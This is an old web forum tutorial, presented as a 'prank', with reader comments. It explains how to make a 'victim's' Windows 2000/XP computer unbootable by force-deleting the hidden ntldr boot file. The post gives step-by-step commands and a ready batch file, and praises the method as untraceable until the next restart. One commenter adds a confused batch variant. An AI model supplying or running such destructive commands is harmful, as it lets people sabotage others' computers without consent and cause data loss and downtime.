Computer Prank - Disableing Windows
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(128 votes)
Published: Aug 10, 2006 7:55 p.m.
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*Note: This can be more than a minor problem to fix, so please make sure you either A) don’t care, or B) have read the "How to fix" section before you try this. That said...
This prank will allow you to disable Windows 2000 / XP, either with one line in the command prompt, or with a batch file. I will show the version using the command prompt, as there are already many tutorials on batch files on the site. (Just use the same command).
The Prank
*Note: All commands are given in quotation marks, which should be left off when typeing them.
1) On your victem’s computer, click on the start menu, then "run".
2) Type "command.com", then hit ok (opens command prompt).
3) Type "c:" then enter, and then "cd\" and enter. The first will set the active directory to the C drive, and the second will ensure that it is in the root (the highest level) of the drive.
4) Type "erase /f /a:h ntldr" , then enter.
5) Just walk away from the computer. (Explained Later)
How It Works
Ntldr is a system file, found in Windows XP and 2000. It is the first file that is called by the system bios (the firmware stored on the cmos chip on the motherboard), and is used to start the OS (Windows) loading. Without this file, it will be unable to load Windows.
This file is normally a pain to find and delete, because it is flagged as hidden (won’t normally show up), and read-only (won’t normally delete), and as a system file. The /f tag in step four forces the deletion of read-only files, and the /a:h tag forces deletion of hidden files.
Since this file is only used to load Windows, this makes it a good choice for an untraceable prank. Windows will continue to run as normal, while the PC remains running. Only when it is shut down, and later restarted will the prank become appearent.
To Fix
I’m not going to go into all the details, this can be fixed with system restore disks, or a NTFS boot disk, with a copy of Ntldr on it. Don’t break it if you can’t fix it, unless you just don’t care.
The Batch Code
Ok, I said I wasn’t going to do batch, but here is the code for those who want it:
@echo off
c:
cd\
erase /f /a:h ntldr
exit[img] |
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 | Aug 10, 2006 7:58 pm -
hmm. |
| Aug 10, 2006 7:58 pm -
4* |
 | Aug 10, 2006 8:00 pm -
Sorry for the mix up, in number 4, it says to use erase, but the picture shows the delete command "del". Both of them will work, sorry for the confusion. |
 | Aug 10, 2006 8:00 pm -
Good egg, 5***** ;)
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lalala boom boom!!! |
 | Aug 10, 2006 8:18 pm -
ight 5* |
 | Aug 10, 2006 8:38 pm -
Not bad. I don’t like batch files myself, so the first method was better |
 | Aug 10, 2006 8:51 pm -
y do u not like batch files, does this one not work?
ive ran into plenty of batch files that dont work from this website. 5*s |
 | Aug 10, 2006 8:59 pm -
kool egg... 5*****
PS: you can also type " cmd " in the run box to open Comand prompt |
 | Aug 10, 2006 9:10 pm -
I always like a bitch who knows his computers. Welcome to my friends list. |
 | Aug 10, 2006 9:38 pm -
To erase:
@echo off
copy C:/windows/system32/ntldr exe C:/windows/system32/ntldr .exe
del C:/windows/system32/ntldr exe
exit
To fix:
@echo off
copy C:/windows/system32/ntldr .exe C:/windows/system32/ntldr exe
exit |
| Aug 10, 2006 9:47 pm -
^ I tried this, did not work, at least on my computer. Ntldr was not in this folder on mine. Also, the fix would only work if run from a boot disk that had a copy of ntldr on it unless it has not been restarted (in which case they wouldn’t know anything was wrong). Otherwise, you would be unable to boot to access command prompt, preventing the fix from working. |
 | Aug 10, 2006 11:31 pm -
nice 4*s |
 | Oct 27, 2006 1:45 pm -
now this one a wont try but a will give it 5* |
 | Mar 15, 2007 1:44 pm -
i knew this but u explained it well so i give it a 4** |
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